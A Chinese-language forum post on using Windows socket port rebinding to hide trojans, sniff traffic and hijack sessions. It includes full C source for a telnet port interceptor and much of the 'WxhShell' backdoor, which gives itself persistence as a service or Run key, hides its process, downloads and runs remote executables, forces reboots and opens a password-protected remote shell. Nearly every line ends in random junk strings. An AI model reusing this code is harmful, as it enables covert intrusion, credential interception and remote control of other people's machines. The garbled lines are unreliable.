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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k B4Fz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0uPcEpIA  
+>Gw)|oX  
  saddr.sin_family = AF_INET; pGy k61  
w(t1m]pF[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -yg;,nCg  
 yOvV"x]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DIWyv-  
EM!S ;i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s*Z yr%R  
O, :|  
  这意味着什么?意味着可以进行如下的攻击: ,Mi'NO   
/BvMNKb$$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TcJJ"[0  
#F2DEo^0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) burSb:JF  
kM=&Tfpj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6Yt3Oq<U  
NLYf   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pS7y3(_  
61OlnmvE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gl45HyY_  
I,,SR"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5J&Gc;  
_5O~ ]}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 % W|Sl  
:?m"kh ~  
  #include C=U4z|Ym  
  #include 9f5~hBlo  
  #include SkVah:cF-  
  #include    DB_oRr[oj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (b&Z\?"  
  int main() ~| ZAS]  
  { ,H mGp  
  WORD wVersionRequested; _%B,^0;C  
  DWORD ret; 3DB= Xh  
  WSADATA wsaData; :eB+t`M  
  BOOL val; AeN:wOm  
  SOCKADDR_IN saddr; {_$['D^az  
  SOCKADDR_IN scaddr; ,1JQjsR   
  int err; hb/Z{T'   
  SOCKET s; XpK  Y#  
  SOCKET sc; /d Ua  
  int caddsize; ) .' + {  
  HANDLE mt; <mTo54g  
  DWORD tid;   YN:Sn\`D 8  
  wVersionRequested = MAKEWORD( 2, 2 ); Zu4CFX-4  
  err = WSAStartup( wVersionRequested, &wsaData ); P 6ka'!z  
  if ( err != 0 ) { ]~f-8!$$R  
  printf("error!WSAStartup failed!\n"); l=S!cj;  
  return -1; p} eO  
  } "[7'i<,AI  
  saddr.sin_family = AF_INET; CL-?Mi=Uc  
   g/P1lQ)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *`/4KMrq  
V$Oj@vI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U7f o4y1}  
  saddr.sin_port = htons(23); `zl,|}u)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g}a+%Obb  
  { OPqhdqo  
  printf("error!socket failed!\n"); $*P +   
  return -1; XbFo#Pwk  
  } @ptrF pSL  
  val = TRUE; 9(vp`Z8B4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EQZ/v gho  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,nPnH1vb  
  { n-qle5sj  
  printf("error!setsockopt failed!\n"); 3!QXzT$E  
  return -1; -y?ve od#  
  } )-}<}< oO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !O'p{dj][  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AxTFV ot  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o: > (Tv  
bu \(KR$s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EqIs&){  
  { -qpM 6t  
  ret=GetLastError(); '%*hs8s  
  printf("error!bind failed!\n"); 6Iz!_  
  return -1; HTMo.hr  
  } \Ov~ t  
  listen(s,2); .N\t3\9}  
  while(1) 7X> @r"9<  
  { X`eX+9  
  caddsize = sizeof(scaddr); gf4Hq&Rf  
  //接受连接请求 qvhG ^b0h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0%IZ -])  
  if(sc!=INVALID_SOCKET) bun_R-  
  { pjSM7PhQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?G]yU  
  if(mt==NULL) QAZs1;lU  
  { ]2iIk=r$  
  printf("Thread Creat Failed!\n"); Y(K`3? A  
  break; 55y{9.n*  
  } %.\+j,G7  
  } >Kl_948  
  CloseHandle(mt); 1 un!  
  } =i7CF3  
  closesocket(s); >!o!rs  
  WSACleanup(); Nr]guC?rE  
  return 0; +x4*T  
  }   wZ `{ i  
  DWORD WINAPI ClientThread(LPVOID lpParam) [kgCB7.V  
  { AAB_Ytf  
  SOCKET ss = (SOCKET)lpParam; ,MHF  
  SOCKET sc; j{=}?+M  
  unsigned char buf[4096]; 7.n\a@I/  
  SOCKADDR_IN saddr; Zx6h%l,%  
  long num; gssEdJ  
  DWORD val; Jk{v (W#  
  DWORD ret; 4wa3$Pk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .6bo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b0se-#+  
  saddr.sin_family = AF_INET; 3k8. 5W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); puEu)m^  
  saddr.sin_port = htons(23); n}4q2x"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9~K+h/  
  { &/otoAr(  
  printf("error!socket failed!\n"); _ph1( !H$  
  return -1; j^f54Ky.  
  } Gs04)KJm<  
  val = 100; $h=v ;1"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >I&s%4  
  { 8Vt'X2  
  ret = GetLastError(); j[t2Bp  
  return -1; } z7yS.{  
  } _l,-S Qgj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g^i\7'  
  { M$6; &T  
  ret = GetLastError(); %)&Tr`   
  return -1; 65RD68a  
  } x&EMg!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rO/Sj<0^  
  { b!"FM/ %  
  printf("error!socket connect failed!\n"); 0}9jl  
  closesocket(sc); k@[[vj|W  
  closesocket(ss); %y)hYLOJ  
  return -1; i.-2 w6  
  } CWd &  
  while(1) O%&N6U  
  { UCTc$3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1$m{)Io2(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ps/|^8aGZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "`Xbi/i  
  num = recv(ss,buf,4096,0); 6IJ;od.\b$  
  if(num>0) 0B~x8f  
  send(sc,buf,num,0); c<q~T >0k  
  else if(num==0) N7X(gh2h  
  break; ,hT**(W  
  num = recv(sc,buf,4096,0); xz +;1JAL3  
  if(num>0) {q~N$"#  
  send(ss,buf,num,0); ~1S,[5u|s  
  else if(num==0) F hyY+{%  
  break; p}X *HJq$  
  } 5,Co(K  
  closesocket(ss); jz\>VYi(7  
  closesocket(sc); ,bB}lU)  
  return 0 ; plNw>rFa  
  } iI*qx+>f?  
!y2yS/  
#TeAw<2U  
========================================================== 'I2[} >mj2  
TA#pA(k  
下边附上一个代码,,WXhSHELL h 3  J&  
Q,ZV C  
========================================================== n# FkgXP$  
._.Qf<7  
#include "stdafx.h" Yb:F,d-Ya  
MY(51)*  
#include <stdio.h> Jt?`(H  
#include <string.h> 8CvNcO;H0  
#include <windows.h> m/,8\+  
#include <winsock2.h> xZQyH  
#include <winsvc.h> a%/x  
#include <urlmon.h> ,wyEo>>4)  
wDBU+Z  
#pragma comment (lib, "Ws2_32.lib") D<*) ^^  
#pragma comment (lib, "urlmon.lib") Q7mikg=1-  
I}]UQ4XJ  
#define MAX_USER   100 // 最大客户端连接数 {D [z>I;D  
#define BUF_SOCK   200 // sock buffer hN!{/Gc|  
#define KEY_BUFF   255 // 输入 buffer v.gAi6  
:e}j$v F  
#define REBOOT     0   // 重启 7sVO?:bj}  
#define SHUTDOWN   1   // 关机 +.m:-^9  
DKl\N~{F  
#define DEF_PORT   5000 // 监听端口 d%p{l)Hd  
Y"m}=\4{  
#define REG_LEN     16   // 注册表键长度 dw| VH1fS  
#define SVC_LEN     80   // NT服务名长度 98UI]? 4  
+NOq>kH@  
// 从dll定义API UyDq`@h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }5B\:*yW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E*+]Iq1u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v,iq,p)&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )R"UX:Q>  
zzT4+wy`  
// wxhshell配置信息 ,V;HM F.  
struct WSCFG { &m TYMpA  
  int ws_port;         // 监听端口 $ ]^Io)}f@  
  char ws_passstr[REG_LEN]; // 口令 5R1? jlm  
  int ws_autoins;       // 安装标记, 1=yes 0=no (Q.I DDlr  
  char ws_regname[REG_LEN]; // 注册表键名 }|znQ3A2\l  
  char ws_svcname[REG_LEN]; // 服务名 :G5O_T$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5mm&l+N)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A3.pz6iT>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1h{7dLA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5/HkhT yj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (/i|3P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /In=u6D O  
DYgz;Y/%l  
}; t^~itlE{  
r[2*K 9  
// default Wxhshell configuration 0}g~69Z1=  
struct WSCFG wscfg={DEF_PORT, T?7++mcA  
    "xuhuanlingzhe", F$O$Y[  
    1, &NI\<C7_Gw  
    "Wxhshell", }CrWmJu0  
    "Wxhshell", -L wz T  
            "WxhShell Service", w@a|_?  
    "Wrsky Windows CmdShell Service", ')(U<5y)  
    "Please Input Your Password: ", $3eoZ1q'U-  
  1, VpED9l]y  
  "http://www.wrsky.com/wxhshell.exe", [ -R[rF  
  "Wxhshell.exe" `SS[[FT$>  
    }; 1I8<6pi-  
WkPT6d  
// 消息定义模块 q 'uGB fE.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LO38}w<k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y&$puiH-j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x l=i_  
char *msg_ws_ext="\n\rExit."; Lo=n)cV1,  
char *msg_ws_end="\n\rQuit."; Z55C4F5v  
char *msg_ws_boot="\n\rReboot..."; &=wvlI52`  
char *msg_ws_poff="\n\rShutdown..."; ]?Q<lMG  
char *msg_ws_down="\n\rSave to "; >g{b'Xx  
&@D\4b,?nm  
char *msg_ws_err="\n\rErr!"; S&c5Q*->[  
char *msg_ws_ok="\n\rOK!"; ( F4c0  
g)IW9q2  
char ExeFile[MAX_PATH]; gy"<[N .?c  
int nUser = 0; 8,&Y\b`..  
HANDLE handles[MAX_USER]; bb-u'"5^]  
int OsIsNt; O! _d5r&,  
KNOVb=# f_  
SERVICE_STATUS       serviceStatus; *lQa^F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CKC5S^Mx  
A5sz[k  
// 函数声明 R pT7Nr  
int Install(void); ao@CPB6N  
int Uninstall(void); | S'mF6Y  
int DownloadFile(char *sURL, SOCKET wsh); qtFHA+bO  
int Boot(int flag); ?R4%z2rcW  
void HideProc(void); y-"QY[  
int GetOsVer(void); rshUF  
int Wxhshell(SOCKET wsl); 6LabFX@{&  
void TalkWithClient(void *cs); 8wn{W_5a  
int CmdShell(SOCKET sock); XaMsIyhI  
int StartFromService(void); SU jo%3R  
int StartWxhshell(LPSTR lpCmdLine); !mUO/6Q hq  
|ZOdfr4uW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9xFI%UOb#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (,cG+3r ]  
kX+98?h-C  
// 数据结构和表定义 aF>&X-2  
SERVICE_TABLE_ENTRY DispatchTable[] = `^h:} V  
{ \=o0MR  
{wscfg.ws_svcname, NTServiceMain}, "ZFH_5<  
{NULL, NULL} #WAX&<m  
}; |AS<I4+&  
f{P?|8u  
// 自我安装 4I*'(6 ,!  
int Install(void) 1had8K-  
{ 6.6?Rp".  
  char svExeFile[MAX_PATH]; 'c3'eJ0  
  HKEY key; B|'}HBkP  
  strcpy(svExeFile,ExeFile); D/hq~- g  
m!]J{OGG:  
// 如果是win9x系统,修改注册表设为自启动 q)J5tBfJ  
if(!OsIsNt) { 1Afy$It/{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j}6h}E&dEr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K \.tR  
  RegCloseKey(key); %N0m$*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dAy\IfZX=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M; YJpi  
  RegCloseKey(key); 32`Z3-  
  return 0; flOXV   
    } _z9~\N/@[  
  } F 6C7k9  
} |f(*R_R  
else { [\  &2&  
lR]FQnZ  
// 如果是NT以上系统,安装为系统服务 {.J<^V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j-ob7(v)*]  
if (schSCManager!=0) $xjfW/k?M  
{ ]ZNFrpq  
  SC_HANDLE schService = CreateService z:1t vG  
  ( zV(aw~CbZ  
  schSCManager, L$y~\1-  
  wscfg.ws_svcname, z";(0%  
  wscfg.ws_svcdisp, VCvf'$4(X  
  SERVICE_ALL_ACCESS, ]EG8+K6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w(K|0|t  
  SERVICE_AUTO_START, SwM=?<  
  SERVICE_ERROR_NORMAL, XWq"_$&LF  
  svExeFile, %P:|B:\<  
  NULL, [6Sk>j  
  NULL, vG\ b `  
  NULL, s_e*jM1  
  NULL, m c{W\H  
  NULL [8%q@6[  
  ); ,Z}ST|$u  
  if (schService!=0) RL fQT_V  
  { m;L 3c(r.  
  CloseServiceHandle(schService); 7xYz9r)w`  
  CloseServiceHandle(schSCManager); )g }G{9M^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6~x a^3G:  
  strcat(svExeFile,wscfg.ws_svcname); t D4-Llj6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I&<'A [vHl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1aUg({  
  RegCloseKey(key); '(g;nU<  
  return 0; m_,Jbf  
    } cvhwd\  
  } XL'\$f  
  CloseServiceHandle(schSCManager); 15yiDI o  
} k4E9=y?  
} KVUub'k  
$`lm]} {&  
return 1; dczSW ]%  
} ]Tg@wMgI  
{7;QZk(  
// 自我卸载 %5nEyZOq  
int Uninstall(void) %~,Fe7#p  
{ Wu(^k25  
  HKEY key; _x^rHADp  
M9m~ck  
if(!OsIsNt) { uh\Tf5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u|6-[I  
  RegDeleteValue(key,wscfg.ws_regname); oJ`=ob4WDo  
  RegCloseKey(key); ]'w5s dP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V`HnFAW  
  RegDeleteValue(key,wscfg.ws_regname); kk4+>mk  
  RegCloseKey(key); zQ<;3+*  
  return 0; nHRk2l|  
  } 4:pgZz!  
} 4^ U%` 1  
} F^S]7{  
else { $Sa7N%D  
4=;j.=>0X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (U 4n} J  
if (schSCManager!=0) 1LAd5X  
{ "fUNrhCx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0,Ib74N'w  
  if (schService!=0) .yFO] r1aL  
  { .GL@`7"  
  if(DeleteService(schService)!=0) { }[h]z7e2S  
  CloseServiceHandle(schService); Z:es7<#y  
  CloseServiceHandle(schSCManager); lP*=4Jh  
  return 0; `AvK=]  
  } G6G-qqXy6  
  CloseServiceHandle(schService); sLXM$SMBh  
  } F w t  
  CloseServiceHandle(schSCManager); c\&;Xr  
} \sfc!5G  
} *<6dB#' J  
0C  K  
return 1; *c&OAL]  
} LZ.Xcy  
A1`6+8}o;b  
// 从指定url下载文件 lNtxM"G&  
int DownloadFile(char *sURL, SOCKET wsh) *::.Uo4O  
{ \okv}x^L=Z  
  HRESULT hr; a|.IAxJ  
char seps[]= "/"; kqxq'Aq)d  
char *token; @^  *62  
char *file; X%kJ3{  
char myURL[MAX_PATH]; sUK|*y  
char myFILE[MAX_PATH]; 8#- Nx]VM  
uXLZ!LJo  
strcpy(myURL,sURL); %e3E}m>  
  token=strtok(myURL,seps); V0W4M%  
  while(token!=NULL) " a,4E{7  
  { !$>b}w'  
    file=token; 9!Jt}n?!g  
  token=strtok(NULL,seps); PHY!yc-LjV  
  } 4;r,U{uR  
8{ =ha  
GetCurrentDirectory(MAX_PATH,myFILE); ~(huUW  
strcat(myFILE, "\\"); lSO$Q]!9  
strcat(myFILE, file); ' i<4;=M&  
  send(wsh,myFILE,strlen(myFILE),0); Un,'a8>V`  
send(wsh,"...",3,0); \ym^~ Q|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MX7Ix{  
  if(hr==S_OK) \Q1&w2mw  
return 0; q9{)nU  
else =5V7212  
return 1; MI^$df  
j(]O$""  
} 4z26a  
a?8)47)  
// 系统电源模块 BHYguS^qz  
int Boot(int flag) .XiO92d9  
{ vyB{35p$  
  HANDLE hToken; (v|<" tv  
  TOKEN_PRIVILEGES tkp; \_6  
75R#gQ]EV  
  if(OsIsNt) { !MOsP<2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zUZET'Bm9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5>daWmD  
    tkp.PrivilegeCount = 1; T!>hPg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dj'?12Onu=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A9u>bWIE7  
if(flag==REBOOT) { m)"(S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NA'45}fQ  
  return 0; NH}o`x/  
} Dm8fcD  
else { XMT@<'fI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y 5=r r3%v  
  return 0; !>80p~L  
} "`cPV){]  
  } b=pk;'-  
  else { J:>o\%sF  
if(flag==REBOOT) { |YyNqwP`,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J'7;+.s(  
  return 0; GEh(pJ  
} VKX|0~  
else { x=Oy 6"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D1v0`od'  
  return 0; -PGxG 8S  
} S-Vj$asv!  
} /F~/&p1<\k  
x9a\~XL>a  
return 1; i20y\V os?  
} .Y?]r6CC/  
LP|YW*i=IQ  
// win9x进程隐藏模块 rxyeix  
void HideProc(void) JS%LJ _J  
{ -T{2R:\{  
B@i%B+qCLv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "-dA\,G  
  if ( hKernel != NULL ) q>>1?hzA  
  { cc_'Kv!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xP&7i'ag  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >dm9 YfQ  
    FreeLibrary(hKernel); Q1x&Zm1v  
  } Lw_|o[I}  
" M?dU^U^  
return; udA@9a^;  
} PuGs%{$(h  
f+n {9Hz  
// 获取操作系统版本 ~wv$uL8y  
int GetOsVer(void) $L6R,%c  
{ NFx%e  
  OSVERSIONINFO winfo; r~ f;g9I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V@-Q&K#  
  GetVersionEx(&winfo); Hv^Bw{"/R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2zh- ms  
  return 1; tp7$t#  
  else 0:u:#))1  
  return 0; Rk#'^ }  
} y2s(]# 8  
j=M%*`@  
// 客户端句柄模块 JW^ ${4  
int Wxhshell(SOCKET wsl) 7g+T  
{ 42"nbJ  
  SOCKET wsh; DgW@v[#BK=  
  struct sockaddr_in client; T@Izf X7  
  DWORD myID; F!)[H["_  
,f:K)^yD  
  while(nUser<MAX_USER) !3k-' ),z&  
{ {4Kvr4)4  
  int nSize=sizeof(client); . <z7$lz\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2(l0Lq*  
  if(wsh==INVALID_SOCKET) return 1; ?#(LH\$l_  
3.BUWMD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7]T(=gg /  
if(handles[nUser]==0) ")i)vXF'  
  closesocket(wsh); IjRUr\l  
else WH1 " HO  
  nUser++; GF% /q:9  
  } uK"FopUJ4i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  'F.P93  
W4d32+V  
  return 0; `VO;\s$5j  
} n9={D  
tm=,x~  
// 关闭 socket YARL/V  
void CloseIt(SOCKET wsh) ZSe30Rl\  
{ jmaw-Rx  
closesocket(wsh); Jk&!(YK&  
nUser--; #\Rxqh7  
ExitThread(0); SF,:jpt`Z+  
} b5^>QzgD  
XL.f `N.O  
// 客户端请求句柄 <iU@ M31  
void TalkWithClient(void *cs) np6G~0Y`  
{ 2v4K3O60G  
} f&=}  
  SOCKET wsh=(SOCKET)cs; a?r$E.W'&  
  char pwd[SVC_LEN]; r2.w4RMFua  
  char cmd[KEY_BUFF]; klFS3G  
char chr[1]; sV{\IgH/x  
int i,j; "D_:`@V(  
59l9_yFJ  
  while (nUser < MAX_USER) { ^$lZ  
cRrJZ9  
if(wscfg.ws_passstr) { _1G/qHf^S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P<vU!`x% q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @- |G_BZ  
  //ZeroMemory(pwd,KEY_BUFF); t7x<=rW7u  
      i=0; U~7udUR  
  while(i<SVC_LEN) { L@AFt)U  
J.4U;A5  
  // 设置超时 ]9/A=p?J@  
  fd_set FdRead; 8YlZ({f  
  struct timeval TimeOut; H OWpTu(  
  FD_ZERO(&FdRead); r1%{\<   
  FD_SET(wsh,&FdRead); %?gG-R  
  TimeOut.tv_sec=8; a"U3h[;$y  
  TimeOut.tv_usec=0; -sJD:G,%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q&v~9~^}d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E:**gvfq  
8o%Vn'^t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {X(nn.GpC  
  pwd=chr[0]; v8yCf7+"  
  if(chr[0]==0xd || chr[0]==0xa) { {*GBUv5  
  pwd=0; _h}(j Ed!  
  break; L k nK  
  } #9]2Uixq[  
  i++; t}h(j|  
    } *a CVkFp  
Evm3Sm!S  
  // 如果是非法用户,关闭 socket [=jZP,b&),  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q%kCTw  
}  eu$VKLY*  
9 CZ@IFS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -kLBq :M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h0 92S|iY  
|U{~t<BF#  
while(1) { +CBN[/Z^i  
d>)=|  
  ZeroMemory(cmd,KEY_BUFF); ff.k1%wr^  
HLV8_~gQPf  
      // 自动支持客户端 telnet标准   U3:|!CC)T  
  j=0; F=e;[uK\  
  while(j<KEY_BUFF) { m-Jy 4f#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +yfUB8Xw  
  cmd[j]=chr[0]; UG`~RO  
  if(chr[0]==0xa || chr[0]==0xd) { Y(7&3+'K  
  cmd[j]=0; :3Q:pKg  
  break; ` wEX;  
  } o;Z"I&  
  j++; &M?b 08  
    } EEZ~Bs}d  
lF/ Xs  
  // 下载文件 "]]LQb$  
  if(strstr(cmd,"http://")) { -9{N7H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /fT"WaTEK  
  if(DownloadFile(cmd,wsh)) M]{~T7n-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v0)Y,hW  
  else QlMLWi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iU 6,B  
  } >@ 8'C"F  
  else { _4Eq_w`  
d9TTAaf  
    switch(cmd[0]) { Y3[KS;_fr9  
  hizM}d-"C  
  // 帮助 ?y>ji1  
  case '?': { '1b8>L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bcv{Y\x;ko  
    break; Aj cKz  
  } WIi,`/K+  
  // 安装 VZcW 3/Y  
  case 'i': { >fP;H}S6  
    if(Install()) +?"F=.SZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1!~T+%uQ  
    else Ir>4-@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s;oe Qa}TB  
    break; hv#$Zo<  
    } fWEQ vQ  
  // 卸载 M("sekL  
  case 'r': { zKJQel5  
    if(Uninstall()) <CO_JWD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l59\Lo:  
    else Psx"[2iZm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NCi~. I  
    break; >&+V[srfD  
    } LBD],Ba!  
  // 显示 wxhshell 所在路径 3;Yd"  
  case 'p': { qdpi-*2  
    char svExeFile[MAX_PATH]; 3)W_^6>bM  
    strcpy(svExeFile,"\n\r"); HJg&fkHn1  
      strcat(svExeFile,ExeFile); ER9{D$  
        send(wsh,svExeFile,strlen(svExeFile),0); BrSvkce  
    break; C=&n1/  
    } NYHK>u/5c  
  // 重启 -|}?+W  
  case 'b': { %b*N.v1+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M-h+'G  
    if(Boot(REBOOT)) kI(3Pf ].  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /YZMP'v  
    else { +zche  
    closesocket(wsh); %eofG]VM<  
    ExitThread(0); /Lr`Aka5  
    } *)w+xWmM3w  
    break; %Jh( 5  
    } *Lz'<=DLoW  
  // 关机 EQ^]W-gN  
  case 'd': { s/hWhaS<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l+2NA4s  
